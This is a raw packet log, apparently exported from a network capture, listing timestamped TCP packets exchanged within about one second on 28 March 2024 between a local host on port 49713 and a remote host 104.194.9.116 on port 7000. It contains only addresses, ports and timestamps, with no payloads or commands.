Mar 28, 2024 10:25:42.572849989 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.572866917 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572921991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572962999 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.572973967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.573028088 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.573101997 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.573121071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.573193073 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.573232889 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.573247910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.573299885 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.573342085 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.573370934 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.573431015 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.573470116 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.573482990 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.629334927 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.675374031 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.675470114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.675535917 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.675607920 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.675622940 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.675673008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.675673008 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.675726891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.675765991 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.675879955 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.675940990 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.675987005 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.676011086 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.676059961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.676114082 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.676119089 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.676166058 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.676203012 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.676229000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.676377058 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.676409960 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.676470041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.676526070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.676559925 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.676666975 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.676734924 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.676774979 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.676815987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.676896095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.676937103 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.677050114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.677112103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.677145958 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.677169085 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.677185059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.677222013 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.677324057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.677371979 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.677412987 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.677417040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.677561998 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.677608013 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.677630901 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.677668095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.677700996 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.677851915 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.678086996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.678128004 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.678402901 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.678531885 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.678580999 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.678605080 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.678664923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.678704023 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.678739071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.678792000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.678828955 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.747564077 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777437925 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777483940 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.777507067 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777520895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777542114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777549028 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777559996 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.777587891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777595043 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.777604103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777643919 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.777662992 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777678967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777717113 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.777728081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777748108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777781963 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.777801037 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777813911 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777842999 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.777865887 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777879953 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777914047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777915001 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.777929068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777942896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777957916 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777961969 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.777971983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.777987957 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.778002977 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778026104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778036118 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.778050900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778074026 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778086901 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.778094053 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778126955 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.778139114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778152943 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778165102 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778184891 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.778199911 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778228045 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.778271914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778637886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778652906 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778666973 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778692007 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.778696060 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.778709888 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.795053005 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.795080900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.795084953 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.795094967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.795130968 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.795157909 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906091928 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906109095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906122923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906177998 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906183958 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906192064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906204939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906236887 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906245947 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906253099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906308889 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906312943 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906327009 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906339884 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906352997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906359911 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906372070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906390905 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906405926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906445980 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906467915 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906497955 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906537056 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906544924 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906560898 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906591892 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906619072 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906632900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906646967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906661987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906675100 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906687021 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906697035 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906764984 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906784058 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906810045 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906837940 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906852961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906867027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906882048 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906903982 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.906912088 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906935930 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906959057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.906975031 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.907026052 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.907040119 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.907054901 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.907063961 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.907068014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.907092094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.907095909 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.907105923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.907130003 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.907130003 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.907171011 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.907191992 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.957467079 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.007978916 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008023024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008035898 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008061886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008070946 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008089066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008100986 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008102894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008119106 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008131981 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008145094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008156061 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008167028 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008168936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008167028 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008182049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008193970 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008196115 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008205891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008234978 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008243084 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008351088 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008363962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008377075 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008388996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008400917 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008414030 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008423090 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008425951 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008439064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008444071 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008462906 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008476973 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008672953 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008687019 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008701086 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008716106 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008729935 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008733988 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008753061 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008757114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008789062 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008800983 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008802891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008819103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008841038 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.008966923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008980036 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.008991957 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.009004116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.009008884 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.009017944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.009031057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.009031057 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.009044886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.009057999 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.009079933 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.058842897 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.113718987 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.134510994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.134546041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.134609938 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.134637117 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.134680033 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.134710073 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.134721994 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.134772062 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.134809971 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.134810925 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.134872913 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.134913921 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.134938002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.134990931 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.135030031 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.135044098 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.135123014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.135164976 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.135184050 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.135242939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.135282040 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.135305882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.135359049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.135400057 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.135435104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.135504961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.135576010 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.135576963 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.135608912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.135662079 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.135664940 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150191069 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150207996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150221109 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150233030 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150265932 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150300980 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.150301933 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150346994 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.150356054 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150373936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150388002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150394917 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.150401115 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150415897 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150433064 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.150441885 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150446892 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.150470018 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150484085 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150510073 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.150538921 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150553942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150583029 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.150618076 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.150655031 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.235105991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.235127926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.235141039 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.235156059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.235193968 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.235193968 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.235209942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.235224009 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.235235929 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.235254049 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.235274076 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.235306978 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.235316038 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.251022100 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.251036882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.251049995 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.251065016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.251077890 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.251111984 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.251113892 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.251135111 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.251157045 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.251157999 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.251180887 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.251211882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.251224995 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.251239061 CET	7000	49713	104.194.9.116	192.168.2.7
